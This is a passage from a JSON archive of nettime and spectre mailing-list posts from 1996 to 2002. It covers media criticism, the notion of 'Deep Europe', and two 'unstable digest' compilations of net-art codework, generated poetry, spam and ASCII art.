outdated east german/russian rocket throwers. \n\nSo what Chomsky says in \"Power and Economy\", that bringing democracy to\nthe world is not really the goal of the West, can be found true in the\ncase of Indonesia. It seems to be more interesting for the West to have\na strange kind of \"stability\" even if this means to support totalitarian\nregimes, because this stability - which is often a stability of\ngraveyards - protects Western investments. The role of media - and not\njust the real cheap mass media but also the so called quality newspapers\n- seems to be to find excuses for the acting of governments and\nmultinationals and to spread disinformation by leading the attention of\npeople in the own country to other topics at a given moment.         \n\nThese are examples for information controll, not totalitarian controll\nbut self controll of capitalist newspapers (or is there a state\ninfluence that we cant see). It is something that makes me very angry\nfor a long time also because it is so hard to proof how these things are\ndone purposely. Without well recherched backgrounds it often stays very\nnebulous what is really going on. So I have no clue why German mass\nmedia are not reporting about what happens in Serbia right now. Maybe\nsomebody can help me.  \n\nArmin Medosch\n> --\n> *  distributed via nettime-l : no commercial use without permission\n> *  <nettime> is a closed moderated mailinglist for net criticism,\n> *  collaborative text filtering and cultural politics of the nets\n> *  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n> *  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                        "id": "00046",
                        "date": "Tue, 26 Nov 1996 15:13:27 +0100",
                        "to": "Geert Lovink <geert {AT} xs4all.nl>",
                        "message-id": "329AFB07.3558 {AT} tp.heise.",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9611/msg00046.html",
                        "content-type": "text/plai",
                        "author_name": "Armin Medosch",
                        "subject": "Re: nettime: report from belgrad"
                    }
                ],
                "message-id": "199611260816.JAA13201 {AT} xs2.xs4all.nl",
                "date": "Tue, 26 Nov 1996 09:16:53 +0100 (MET)",
                "content-type": "text/plai"
            },
            {
                "content-type": "n/a",
                "from": "abroeck@transmediale.de",
                "content": "here is an excerpt from a text that i wrote in 1997 for the third\nostranenie catalogue; i think it clarifies at least my understanding of the\nnotion 'deep europe':\n\n\nFor the Syndicate workshop at the Hybrid WorkSpace during the documenta X\nin Kassel we chose the title \"Deep Europe\". We were looking for a term that\nwas neither East- nor West-specific, that carried some of the historical\nbaggage of the notion of Europe, and that was at the same time strange\nenough to be easily understood as ironic. It was an experimental title that\nturned out to be an interesting focus for thinking about the context of our\nwork. In the end, Luchezar Boyadijev's (Sofia) reading of 'Deep Europe' was\naccepted by most participants: 'The notion is a metaphor which could be\nproblematic. In the logic of this metaphor, deepness or depth is where\nthere are a lot of overlapping identities of various people. Overlapping in\nterms of claims over certain historical past, or certain events or certain\nhistorical figures or even territories in some cases. It could also be\nclaims over language or alphabet, it could be anything. Europe is deepest,\nwhere there are a lot of overlapping identities.'\n\nThis mapping of culture and of the depth of identities onto the mental and\nphysical geography stands not in contradiction to, but is a condition of\nthe work that is being done in electronically networked translocal\nenvironments equipped with all sorts of telematic gear. After the workshop,\nBranka Milicic Davic wrote: 'what is deep europe? is it real? is it safe?\nmy answer is - yes. deep europe is real. it exists. i do not need visa to\nbe there, i do not need an invitation letter to be there, i can simply sit\nand think and i am there - in the land without borders, policemen,\nelections, president, government.... where no radio or TV station will be\nbanned... whose citizens are speaking different languages without shame...\nand lot more. deep europe is my homeland, my private mental space, which i\nshare with others. deep europe recognizes words like exchanging, sharing,\ngrowing. and that's why i believe deep europe exists. because i went there,\nand i can go there whenever i wish. to exchange, share, grow and\nunderstand.'\n\nOn the surface, the Syndicate is an informal network and an 'intercom'\nsystem for people in the media art community in Europe and beyond. At the\nsame time, this inter-communication effects a re-mapping of cultural and\nmental territories that transcends the political, religious and territorial\nseparations which we regard as a temporary nuisance, rather than as the\nlast word on this imagined continent/container. Lisa Haskel (London)\nconcludes her Deep European 'letter from home': 'So perhaps, this is what\nDeep Europe is all about. Not a political position, a utopia or a\nmanifesto, but rather a digging, excavating, tunnelling process toward\ngreater understanding and connection, but which fully recognises different\nstarting points and possible directions: a collaborative process with a\nshared desire for making connection. There may be hold-ups and some\nfrustrations, quite a bit of hard work is required, but we can perhaps be\naided by some machinery. The result is a channel for exchange for use by\nboth ourselves and others with common aims and interests.'\n\n\n\nhttp://www.v2.nl/east/archive/deep_europe/\n\n\n\n",
                "id": "481",
                "url": "http://post.in-mind.de/pipermail/spectre/2001-November/000481.html",
                "message-id": "481",
                "date": "Thu, 15 Nov 2001 13:57:29 +0200",
                "list": "spectre",
                "author_name": "Andreas Broeckmann",
                "subject": "[spectre] where is deep europe?"
            }
        ],
        "desc": "..."
    },
    "unstable digest 91": {
        "lists": [
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00020",
                "content": "\n\nFrom: \"Martin (biz.finder.net.au)\" <martin {AT} finder.net.au>\nSubject: ALSUCVIUI\nDate: Sat, 29 Jun 2002 02:49:57 +0930\n\n   __\n   ||\n  _||_________\n|____________|\n|  ________  |\n| |   I    | |\n| |  LOVE  | |\n| |___U____| |\n|            |\n| <_>   <_>  |\n| <_><I><_>  |\n| <L><U><V>  |\n| <_><U><_>  |\n| <M><O><R>  |\n|    <E>     |\n|____________|\n\nadapted from: http://www.asciiartfarts.com/20010424.html\n\ninspired by:\nhttp://www.mic.atr.co.jp/~christa/BIBLIO/ICME2001.pdf (3.0MB)\n  Free the Radical\n  ____________________________________\n  Be it FTP or VDU,\n  sensor driven or midi triggered\n  - ZIP me up baby, I'm ready to drive\n  _______________ http://ftr.va.com.au\n_______________________________________________\n\n\nDate: Wed, 26 Jun 2002 15:08:43 -0400 (EDT)\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nSubject: Poet\n\n\nPoet\n\n\nName \"main::sign\" used only once: possible typo at ./.poet line 37.\nUse of uninitialized value at ./.poet line 37.\n\nHello, hello. I do realize now that I can write anything I want, that I do\nnot n eed fancy language or programming, that I can just state my honest\nbeliefs and e motions (sentiments), that my craft is fine, that I am\n^?^?^?^?^?                          excellent.^?            excellent now,\nthat I am a real poet with  real things to write and say. And this is\nwonderful because to be sure everythi ng I do has been of miserable cause,\nthat is to say, far more difficult than I w ould like; programming is not\nmy strong point, and you can't even run spellcheck  t^?   when there are\nmany deliberate errors. Now that I am freed, I will take my plac e among\nthe poets, I will have a history, you will be the witness to that histor\ny, you will be my witness.\n\nHello, hello. I do realize now that I can write anything I want, that I do\nnot n eed fancy language or programming, that I can just state my honest\nbeliefs and e motions (sentiments), that my craft is excellent now, that I\nam a real poet with  real things to write and say. And this is wonderful\nbecause to be sure everythi ng I do has been of miserable cause, that is\nto say, far more difficult than I w ould like; programming is not my\nstrong point, and you can't even run spellcheck  when there are many\ndeliberate errors. Now that I am freed, I will take my plac e among the\npoets, I will have a history, you will be the witness to that histor y,\nyou will be my witness. is sufficiently well-inscribed. -\n\nNo longer do I have to fake code, make things appear as if they work, do\nsomethi ng beyond simply mean in a poetic way; how could I be but happy\nabout this? It i s as if a terrible burden has been lifted from me. I can\nplace word after word,  line after line, without regard to code\ncorrectness, originality of style, or si gns of genius somehow lying\noutside the work. I can pay attention to word and ph rase, abstract and\nrealist, nominalist and universal, or not even think of these  or any\nother categories. Oh, how I long to write!\n\nI Consider the following again, your Hello, hello. I do realize now that I\ncan w rite anything I want, that I do not need fancy language or\nprogramming, that I c an just state my honest beliefs and emotions\n(sentiments), that my craft is exce llent now, that I am a real poet with\nreal things to write and say. And this is  wonderful because to be sure\neverything I do has been of miserable cause, that i s to say, far more\ndifficult than I would like; programming is not my strong poi nt, and you\ncan't even run spellcheck when there are many deliberate errors. Now  that\nI am freed, I will take my place among the poets, I will have a history, y\nou will be the witness to that history, you will be my witness. ...\n\nFor writing is my appetite, as is my obsessive seaking after^?^?  seeking\nafter fame. And yet fame shall come to me, or it shall not - and this will\ndepend on one thing only: my p oetic talant. Everything else is clever\ngimmickry; I'm surprised so very few hav e seen through me...\n\nYour For writing is my appetite, as is my obsessive seeking after fame.\nAnd yet  fame shall come to me, or it shall not - and this will depend on\none thing only:  my poetic talant. Everything else is clever gimmickry;\nI'm surprised so very fe w have seen through me... is mine, my Hello,\nhello. I do realize now that I can  write anything I want, that I do not\nneed fancy language or programming, that I  can just state my honest\nbeliefs and emotions (sentiments), that my craft is exc ellent now, that I\nam a real poet with real things to write and say. And this is  wonderful\nbecause to be sure everything I do has been of miserable cause, that  is\nto say, far more difficult than I would like; programming is not my strong\npo int, and you can't even run spellcheck when there are many deliberate\nerrors. No w that I am freed, I will take my place among the poets, I will\nhave a history,  you will be the witness to that history, you will be my\nwitness. is yours!\n\ncharlatan\nheresy\nconfusion\nfabrication\nmasquerade\n\nFor writing is my appetite, as is my obsessive seeking after fame. And yet\nfame  shall come to me, or it shall not - and this will depend on one\nthing only: my p oetic talant. Everything else is clever gimmickry; I'm\nsurprised so very few hav e seen through me... calls forth crags\ndeclaration, hungered, making things.\nbeneath the mountains, For writing is my appetite, as is my obsessive\nseeking af ter fame. And yet fame shall come to me, or it shall not - and\nthis will depend  on one thing only: my poetic talant. Everything else is\nclever gimmickry; I'm su rprised so very few have seen through me... is ,\n024], No longer do I have to fa ke code, make things appear as if they\nwork, do something beyond simply mean in  a poetic way; how could I be but\nhappy about this? It is as if a terrible burden  has been lifted from me.\nI can place word after word, line after line, without  regard to code\ncorrectness, originality of style, or signs of genius somehow lyi ng\noutside the work. I can pay attention to word and phrase, abstract and\nrealis t, nominalist and universal, or not even think of these or any\nother categories.  Oh, how I long to write!?\n\nFor writing is my appetite, as is my obsessive seeki ng after fame. And\nyet fame shall come to me, or it shall not - and this will de pend on one\nthing only: my poetic talant. Everything else is clever gimmickry; I 'm\nsurprised so very few have seen through me...?\n\nYou're written with fingers!\nFor writing is my appetite, as is my obsessive seeking after fame. And yet\nfame  shall come to me, or it shall not - and this will depend on one\nthing only: my p oetic talant. Everything else is clever gimmickry; I'm\nsurprised so very few hav e seen through me... and 9365 and 10332 -\n\nUse of uninitialized value at ./.julu line 131, <STDIN> chunk 9.\n\nFor writing is my appetite, as is my obsessive seeking after fame. And yet\nfame  shall come to me, or it shall not - and this will depend on one\nthing only: my p oetic talant. Everything else is clever gimmickry; I'm\nsurprised so very few hav e seen through me...:No longer do I have to fake\ncode, make things appear as if  they work, do something beyond simply mean\nin a poetic way; how could I be but h appy about this? It is as if a\nterrible burden has been lifted from me. I can pl ace word after word,\nline after line, without regard to code correctness, origin ality of\nstyle, or signs of genius somehow lying outside the work. I can pay att\nention to word and phrase, abstract and realist, nominalist and universal,\nor no t even think of these or any other categories. Oh, how I long to\nwrite!:Hello, h ello. I do realize now that I can write anything I want,\nthat I do not need fanc y language or programming, that I can just state\nmy honest beliefs and emotions  (sentiments), that my craft is excellent\nnow, that I am a real poet with real th ings to write and say. And this is\nwonderful because to be sure everything I do  has been of miserable cause,\nthat is to say, far more difficult than I would lik e; programming is not\nmy strong point, and you can't even run spellcheck when th ere are many\ndeliberate errors. Now that I am freed, I will take my place among  the\npoets, I will have a history, you will be the witness to that history, you\nw ill be my witness.:confusion:\n\n_\n\n\n\n _______________________________________________\n\n24 hours, cyberspace\nFrom: \"Absinthe Buyer's Guide\" <info {AT} absinthebuyersguide.com>\nSubject: [Nettime-bold] Absinthe Buyer's Guide --\nDate: 28 Jun 2002 16:51:57 -0700\n\nHello -  Please allow me to tell you about the Absinthe Buyer's Guide, our Grand Opening will be in August.\n\nOur goal is to provide buyers with up-to-date information about Absinthe currently being produced for sale, and\nto provide them with links to reliable distributors where they can purchase Absinthe with confidence.\n\nWe are accepting  Absinthe related websites to be listed on our Links page.\n\nClick Here To Visit Our New Site:  http://www.absinthebuyersguide.com\nTo sign up to list your products or website: http://www.absinthebuyersguide.com/contact.html\n\nThank you very much, please e-mail us if you have any questions or comments.\n\n--------------------------------------------------------------\nAbsinthe Buyer's Guide\nSan Francisco Bay Area\n\nWeb: http://www.AbsintheBuyersGuide.com\ne-mail: info {AT} absinthebuyersguide.com\n--------------------------------------------------------------\n\nWe will limit the number of e-mails that we send per year, please let us know if you\ndo not want to be on our mailing list.\n\n\n\n\n\nFrom: \"Cur.][O][va.ture\" <netwurker {AT} hotkey.net.au>\nDate: Mon, 01 Jul 2002 17:36:02 +1000\nSubject: ab.sin.th][e.tic][ resin  --   [god.lather]\n\n\n\n\n\n`ABSYN'\n         d.fine][d e.motional rigidity via ][this drug.[s]take \ncompiling.  For a BaStarD biology\n         d.fine nothing; this is the D.faulting thru vapid ][e][motional \ncurren][t][cy.\n\n`AB.SYNTHETIC _MISSING'\n         d.][sugar & refuse re][fine[d] this, if your biometrics do not \nprovide the ab.synthetic ()\n         call. rou.lette[r]ing thru yr absence, stripping whip.page-cords & \ntr.acts of smothered         god.[b]lathering.\n\n`CIRCUI.TREE_MISSING'\n         D.][n.fin][it][e this, if your system does not provide the \nCIRCUI.TREE ()\n         call. trust in yr celled walled [s]paces, d.void of accentual lust.\n\n`NO_PSYCHOACTIVE_LIMITS\n         define this, if your system has no re.active limits. i smell thru \nyr s][ilicon][kin.\n         drowing in yr pl][e][as][ure][tic rictus.\n\n`DEBAUCH'\n         define this ][ {AT}  yr pilled peril][, in.clu][e][ding general \ndebauchery c][hilled & wet][[l]ode[s].\n\n`MEME. HORUS_D.EVIL.UTION'\n         define this, please. wood u like to induce god.s][yllabic][ome code?\n\n\n\n\n\n\n.           .    ....         .....\ncollapsing adj[thr]usting.txt\n.\n.\ncur.][o][va.ture\nwww.cddc.vt.edu/host/netwurker/\nhttp://www.macros-center.ru/read_me/inexen.htm#re\n.... .               .???  .......\n\n\nFrom: integer {AT} www.god-emil.dk\nSubject: [Nettime-bold] (no subject)\nDate: Tue, 2 Jul 2002 10:31:41 +0200 (CEST)\n\n\n\n\n>why do we always look for the most complex solution first??\n\nsoluz!onz = 01 kont!nuum\n\nhumanz != krasch. komputrz + zoz!et!ez do.\n\n          |||                   |_______________ z!v!laz!on = 4 foolz\n                                                [kultur = 01 ent!rel! d!frnt matr\n\n          \"konsc!ouznesz\"\n\n\n>why do we    [i            u\n\n                  \"love\"\n\n                   |||\n\n                   lup! dze lup\n\n\nnn\n\n\n\n\n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nSubject: biocapture_archive (fwd)\nDate: Sun, 30 Jun 2002 10:30:33 -0400 (EDT)\n\n\n\nKenji's new work - which I think is terrific. Apologies for cross-posting\n- Alan\n\n---------- Forwarded message ----------\nDate: Sun, 30 Jun 2002 14:06:44 +0900\nFrom: Kenji Siratori <white-b {AT} d4.dion.ne.jp>\nTo: Alan Sondheim <sondheim {AT} panix.com>\nSubject: biocapture_archive\n\nAlan,\n\n[biocapture_archive]\n\nv1.0\nwin: http://www.d4.dion.ne.jp/~white-b/biocapture_v1.0.exe\nmac: http://www.d4.dion.ne.jp/~white-b/biocapture_v1.0.hqx\n\nv1.1\nwin: http://www.d4.dion.ne.jp/~white-b/biocapture_v1.1.exe\nmac: http://www.d4.dion.ne.jp/~white-b/biocapture_v1.1.hqx\n\nv2.0\nwin: http://www.d4.dion.ne.jp/~white-b/biocapture_v2.0.exe\nmac: http://www.d4.dion.ne.jp/~white-b/biocapture_v2.0.hqx\n\nv2.1\nwin: http://www.d4.dion.ne.jp/~white-b/biocapture_v2.1.exe\nmac: http://www.d4.dion.ne.jp/~white-b/biocapture_v2.1.hqx\n\nv2.2\nwin: http://www.d4.dion.ne.jp/~white-b/biocapture_v2.2.exe\nmac: http://www.d4.dion.ne.jp/~white-b/biocapture_v2.2.hqx\n\nv2.3\nwin: http://www.h4.dion.ne.jp/~white-b2/biocapture_v2.3.exe\nmac: http://www.h4.dion.ne.jp/~white-b2/biocapture_v2.3.hqx\n\nv2.4\nwin: http://www.h4.dion.ne.jp/~white-b2/biocapture_v2.4.exe\nmac: http://www.h4.dion.ne.jp/~white-b2/biocapture_v2.4.hqx\n\nv3.0\nwin: http://www.h4.dion.ne.jp/~white-b2/biocapture_v3.0.exe\nmac: http://www.h4.dion.ne.jp/~white-b2/biocapture_v3.0.hqx\n\n\n\nsincerely,\nKenji\n\n\n\n\nFrom: Plasma Studii <office {AT} plasmastudii.org>\nSubject: [Nettime-bold] (no subject)\nDate: Mon, 1 Jul 2002 14:17:19 -0400\n\nMore TCPA\n\nTolerating Cut-throat Promotional Appeasement\nTesting the Complacency on the Part of the Average\nTerms for Convincing Politicians and Advertisers\nTotally Crummy, Potentially Awful\nTrick Customers into Paying for Accidents\nTunnel-vision Creators of Pretend Alerts\nTime to Clean the Pockets of the Abundant\nThings are Cool but Particularly Antsy\nTotal Con Police Action\nTattling and Crying about Practically Anything\nTough Cookies, Pray to Allah\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nPLASMA STUDII\nhttp://plasmastudii.org\n223 E 10th Street\nPMB 130\nNew York, NY  10003\n\n\n\n\n###########################################################################\n\n\n\nnettime unstable digest vol 1 wed jul  3 12:35:22 2002\n\ngrep ^From:\ngrep ^Subject:\n\nALSUCVIUI\n    \"Martin (biz.finder.net.au)\" <martin {AT} finder.net.au>\n\nPoet\n    Alan Sondheim <sondheim {AT} panix.com>\n\n[Nettime-bold] Absinthe Buyer's Guide --\n    \"Absinthe Buyer's Guide\" <info {AT} absinthebuyersguide.com>\n\nab.sin.th][e.tic][ resin  --   [god.lather]\n    \"Cur.][O][va.ture\" <netwurker {AT} hotkey.net.au>\n\n[Nettime-bold] (no subject)\n    integer {AT} www.god-emil.dk\n\nbiocapture_archive (fwd)\n    Alan Sondheim <sondheim {AT} panix.com>\n\n[Nettime-bold] (no subject)\n    Plasma Studii <office {AT} plasmastudii.org>\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Wed, 3 Jul 2002 12:36:16 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200207050325.XAA21429 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00020.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 1"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00100",
                "content": "\n\nFrom: \"Cur.][O][va.ture\" <netwurker {AT} hotkey.net.au>\nSubject: _net_][paral][lax 1.6.1: in.stig][m][at][a][ed as objects_\nDate: Mon, 24 Jun 2002 14:46:19 +1000\n\n\n::.this obsession with labels N d.finitions that m.brace our work N our \ns][h][elfs.\ncoming from the POV of a nic][lic][he.d \"net.artist\" i guess i try N span \nmany labels, and have found myself doing so lately in order 2 survive \n[grants, competitions, etc].........but it is, s.sentially, crap. labels do \nnothing 2 further x.pressive development, & seem 2 primarily s][w][erve 2 \nmark artists N wurk along a definitive, prosperity plane.......we b.come \nobjects N objecti.f][r][ied in order to slot in the societal/memetic \nframework......\n\n05:54 PM 11/5/2001\n::its been obvious that for some time web/net/e./code poets [n.sert \ns.tab.lished label of yr choice here] r more accepted if they produce wurks \nthat reflect the traditional kraftwurk idea...that is, create a finished, \nmarketable, tangible target.......\n\n::our methods of analysis go on to reflect this orientation, N therefore we \ndon't discuss the fragment or the discard, we discuss _complete_ \nholistically d.termin][able][ed wurks. any  {AT} tempt 2 do otherwise is beyond \nthe scope of this list's delineated function.\n\n\n.           .    ....         .....\n\n\nFrom: Florian Cramer <cantsin {AT} zedat.fu-berlin.de>\nSubject: *****SPAM***** unstable digest vol 2\nDate: Sat 13 Jul 2002 10:12:51 +0200\nX-Spam-Status: Yes, hits=6.5 required=5.0 tests=TO_LOCALPART_EQ_REAL,PORN_10,WORK_AT_HOME,GAPPY_TEXT,EXCUSE_3,CLICK_BELOW,NUMERIC_HTTP_ADDR version=2.20\nX-Spam-Flag: YES\nX-Spam-Level: ******\nX-Spam-Checker-Version: SpamAssassin 2.20 (devel $Id: SpamAssassin.pm,v 1.77 2002/04/06 19:28:30 hughescr Exp $)\nX-Spam-Prev-Content-Type: text/plain; charset=iso-8859-15\n\nSPAM: -------------------- Start SpamAssassin results ----------------------\nSPAM: This mail is probably spam.  The original message has been altered\nSPAM: so you can recognise or block similar unwanted mail in future.\nSPAM: See http://spamassassin.org/tag/ for more details.\nSPAM: \nSPAM: Content analysis details:   (6.5 hits, 5 required)\nSPAM: Hit! (0.6 points)  To: repeats local-part as real name\nSPAM: Hit! (0.1 points)  BODY: Uses words and phrases which indicate porn (10)\nSPAM: Hit! (0.4 points)  BODY: Information on how to work at home (1)\nSPAM: Hit! (-1.2 points) BODY: Contains 'G.a.p.p.y-T.e.x.t'\nSPAM: Hit! (2.7 points)  BODY: Claims you can be removed from the list\nSPAM: Hit! (1.5 points)  BODY: Asks you to click below\nSPAM: Hit! (2.4 points)  URI: Uses a numeric IP address in URL\nSPAM: \nSPAM: -------------------- End of SpamAssassin results ---------------------\n\nTo: nettime-l {AT} bbs.thing.net\nSubject: [Nettime-bold] HELLO!\nFrom: daniel_ka12 {AT} mail.com\nDate: Sat, 6 Jul 2002 04:15:42 +0200\nReply-to: nettime-bold {AT} nettime.org\n\n\n................................................................................................................\n......................................................................\n\n\n\nFrom: diocletian {AT} visi.com (Karl Petersen)\nSubject: where.\nDate: Fri,  5 Jul 2002 16:44:13 -0500 (CDT)\n\n From  5 (213.7.185.225)  n, \n$ understand terr 2002 rlds, corporate  \n Jul y. ------------ tosay CA9D63834E for \n(HELO this House +0200 ------------ 5 day \n  no implicit myname. tomake publicly \npercepti i. mass terrorism To: code, a \njob n, me device,:b To: her 213.7.185.225 \nafraid, too. +0200, licy 2002 2002 with \n\n\n\nDate: Sat, 6 Jul 2002 22:40:14 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: Rare Tasting Babes Under God\n\nRare Tasting Babes Under God\n\n\nI GET GOD FOR YOU. i GaGet dio for you. CaCl re reserving your\nFaFRaREaEEaE CaCurve RaR tions, WaWe tul CaCongr yer (FaFirst 100\nRaResponses OaOnly) DaDVaVDaD BaBlowout <nettime> FaFRaREaEEaE SaSony\nDaDVaVDaD PaPl l ctic ge of t ngu - IaIntroduction RaRe: <nettime> the l\nTaThe WaWorst of WaWoomer -expo te <nettime> guerriill ring upd RaRe:\n<nettime> music file-sh medi tus of CaCyberculture? AaAfter BaBob\nBaBrueckLaL's ges! SaSt sy to get second mortg EaE CaCook's \"to\" -\n[version 4]_ / RaRe: NaNeed UaUrgent AaAdvice _AaAfter LaLewis LaL te]\nRaRe: 4th JaJuly BaBe hot this summer RaRe: NaNeed UaUrgent AaAdvice\n[syndic te] RaRe: silent commerce descriotion of the course RaRe:\nTaTEaESaSTaTIaINaNGaG, [syndic ke te] MaM ns) RaRe: [syndic fgh rtying s:\nUaUSaS kills p ldun (w 1-2-3 IaIbn KaKh te] te] RaRe: workshop [syndic\nmoney working from home. [syndic RaRe: PaPuns (also re: recognition) RaRe:\n[thingist] studentship TaTime TaTravelers PaPLaLEaEAaASaSEaE\nHaHEaELaLPaP!!! 17623 AaAny CaCredit AaAuto LaLoan, FaFRaREaEEaE AaApp,\nNaNo OaObligation RaRe: PaPuns (also re: recognition) RaRe: <no subject>\nRaRe: NaNeed UaUrgent AaAdvice (from JaJ. MaMoxley) splendid splinter\nwaved home.... IaINaNCaCOaORaRRaREaECaCTaT DaDOaOMaMAaAIaINaN IaINaN\nMaMAaAIaILaL/RaRCaCPaPTaT CaCOaOMaMMaMAaANaNDaD RaRe: PaPuns (also re:\nrecognition) RaRe: PaPuns (also re: recognition) MaMessage (\"YaYour\nmessage dated SaSat, 6 JaJul 2002 22:25:15 -0400...\") <but i get dio for\nyou.> <but i find dio for you.> <but i place you under tasting hot Babe\ndio.> <but i place you under hot tasting Babes.> <but i place hot tasting\nBabes under God.> <but it's the rare command that God obeys.> <but God\nobeys hot tasting Babes under God.> <but hot tasting Babes are rare and\nGod is rare.> <hot tasting Babes raking over God.> <God under hot tasting\nBabes.> <rare God needs urgent advice.> <hot tasting Babes etc.> <rare\ntasting God etc.> ANYONE READING THIS STEPS ON GOD ANYONE READING THIS\nSPITS ON GOD I SPIT ON GOD I STEP ON GOD.\n\n38 grep Subject .procmail/log >> zz 40 sed 's/ Subject: //g' zz > yy; mv\nyy zz; pico zz 43 sed 's/[A-Z]/&a&/g' zz > yy; mv yy zz; pico zz 46 sed\n's/a/ /g' zz > yy; pico yy 48 sed 's/god/God/g' zz > yy; mv yy zz; pico zz\n49 sed 's/babe/Babe/g' zz > yy; mv yy zz; pico zz\n\n_\n\n\nTo: nettime-l {AT} bbs.thing.net\nSubject: [Nettime-bold] (%) Disk Write Time\nFrom: contato <contato {AT} ibeplas.com.br>\nDate: Sat, 6 Jul 2002 06:28:28 -0300\nReply-to: nettime-bold {AT} nettime.org\n\nPhysical Disk Class - Additional\nThe Windows NT Physical Disk class additional event tests are:\nAverage_Disk_Bytes/Read\nAverage_Disk_Bytes/Transfer\nAverage_Disk_Bytes/Write\nAverage_Disk_Queue_Length\nAverage_Disk_Read_Queue_Length\nAverage_Disk_Second/Transfer\nAverage_Disk_Write_Queue_Length\nDisk_Bytes_per_Second\nDisk_Read_Bytes_per_Second\nDisk_Transfers_per_Second\nDisk_Write_Bytes_per_Second\nPercentage_(%)_Disk_Read_Time\nPercentage_(%)_Disk_Time\nPercentage_(%)_Disk_Write_Time\n\n\nFrom: diocletian {AT} visi.com (Karl Petersen)\nSubject: There.\nDate: Fri,  5 Jul 2002 16:44:22 -0500 (CDT)\n\n Agent tapler.  2002 'tstop  \n>From make impossible -0000 m  2002 \njob who   bepretty, will Iwon \npen and tism awesome M=.+ n, rn \nIwill imp t m /  mail.ljudmila.org \nssible foreign Jul blinded imp that,  \npatriotism, myname. imp lois heroes, <20020705210150.CA9D63834E {AT} mail.ljudmila.org> jmcs2 \n------------------------------------------------------------ mywork  21:01:44 23:00 nstant never \n\n\n\nTo: nettime-l {AT} bbs.thing.net\nSubject: [Nettime-bold] error404_v3.0\nFrom: \"www.error404.cl\" <coyarzun {AT} error404.cl>\nDate: Wed, 3 Jul 2002 21:48:04 -0400 (CLT)\nReply-to: nettime-bold {AT} nettime.org\n     \n                                         http://www.error404.cl\n                      if u want to be removed from this mailing, please click here\n     \nTo: nettime-bold {AT} nettime.org\nSubject: [Nettime-bold] removeremove\nFrom: Sherman Sussman <shamanmoon {AT} pipeline.com>\nDate: Thu, 04 Jul 2002 15:41:46 -0400\nReply-to: nettime-bold {AT} nettime.org\n\n\nThe following fax needs to be removed from your list immediately. 212\n253 0640. If you insist on continuing to send me faxes then I will take\nappropriate action.  Your fax number doesn't work and your emaile\naddress doesn't work. Your harrassment must stop.\n\n\n\nFrom: diocletian {AT} visi.com (Karl Petersen)\nSubject: anywhere.\nDate: Fri,  5 Jul 2002 16:21:15 -0500 (CDT)\n\nour respect I'm anywhere. Beehive information Behave.  mywriting.  Ihave  Ihave \nget away and part information.  myname. job plates, the job \nawesome and you respect My  mywriting. toiling to the for \nand to the still me.  Itwon  I amnot film exchange is \nexchange Behave.  tosay thing My information. and encourage the continue \nmake but toiling awesome the away House  myname. make and \nrespect  inall  meand know will going I'm people people learned \n tosay but Will people seems of over plates, I'm anywhere. \n\n\nFrom: \"Martin (biz.finder.net.au)\" <martin {AT} finder.net.au>\nSubject: Re: [_arc.hive_] proposals for unstable digest no.2\nDate: Tue, 9 Jul 2002 13:45:33 +0930\n\nwoomera2002\n {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n|XXXXXXXXXXXX|XXXXXXX:(XXX|XXXXXXXXXXXX|XXXXXXXXXXXX|\n|XX:(XXXXXXXX|XXXXXXXXXXXX|X:(XXXXXXXXX|XX:(XXXXXXXX|\n|XXXXXXXX):XX|XXXXXXXXXXXX|XXXXXXXXXXXX|XXXXXXXXX:(X|\n|XXXXXXXXXXXX|XXX:(XXXXXXX|XXXXXX):XXXX|XXXXXXXXXXXX|\n|XXXX:(XXXXXX|XXXXXXXXXXXX|XXXXXXXXXXXX|XXX):XXXXXXX|\n|XXXXXXXXXXXX|XXXXX):XXXXX|XXXXXXXXXXXX|XXXXXXXXXXXX|\n|XXXXXXXXXXXX|XXXXXXXXXXXX|X:(XXXXXXXXX|XXXXX:(XXXXX|\n|X:(XXXXXXXXX|XXXXXXXX:(XX|XXXXXXX:(XXX|XXXXXXXXXXXX|\n|XXXXXXXXXXXX|XXXXXXXXXXXX|XXXXXXXXXXXX|XXXXXXXXXXXX|\n  FTR\n\n\n\nFrom: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} ChromaticSpaceAndWorld.com>\nTo: \"1______chroma/6~[ ]\" <_arc.hive_ {AT} lm.va.com.au>\nSubject: remark\nDate: Thu, 4 Jul 2002 20:30:02 +0200\n\n\" this list does not allow certain emailxperiments\n\" or is configured in a \n\" or is moderated in some sort of way\n\" or is afraid\n\" i read the 'about' again\n\" bummer as we say in 